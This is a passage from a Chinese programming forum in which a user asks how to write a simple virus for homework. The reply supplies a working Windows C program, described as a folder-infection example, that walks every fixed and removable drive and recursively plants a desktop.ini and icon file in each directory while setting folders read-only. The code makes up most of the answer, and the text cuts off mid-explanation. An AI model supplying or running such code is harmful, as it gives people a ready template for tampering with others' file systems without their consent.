编写病毒
请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢
------解决方案--------------------
这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这要复杂很多,看些书吧,windows核心编程,网络编程,加上黑客防线编程板块的那些内容就可以了。
实现原理与步骤
修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容
[.ShellClassInfo]
IconFile=GouGe.ico
IconIndex=0
其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了
下面开始一个一个解析
1.枚举磁盘
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
for(char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT Type=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘
{
EnumDirectory(x);//进行感染 此函数下面介绍
}
}
return 0;
}
2.枚举目录
bool EnumDirectory(TCHAR *dirpath)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH] = { 0 };
bool bIsFinish = false;
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind, "%s\\*.*", dirpath);
HANDLE hFind = FindFirstFile(szTempFileFind, &fd);
if (hFind == INVALID_HANDLE_VALUE)
{
return false;
}
while (!bIsFinish)
{
bIsFinish = (FindNextFile(hFind, &fd)) ? false : true;
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0))
{
TCHAR szFoundFileName[MAX_PATH] = { 0 };
strcpy(szFoundFileName, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
TCHAR szTempDir[MAX_PATH] = { 0 };
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName);
Sleep(10);
inject(szTempDir);//进行感染 此函数下面介绍
EnumDirectory(szTempDir);//递归调用
}
}
}
FindClose(hFind);
return 0;
}
此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过
3.进行感染
void inject(char* path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\LengFeng.ico");
WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI
}
此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的
4.生成ICO文件
bool WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
return false;
}
此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中
加载资源呢?请看下面的实现
5.SDK中加载资源
如果你使用了VC或者BCB又或DELPHI那么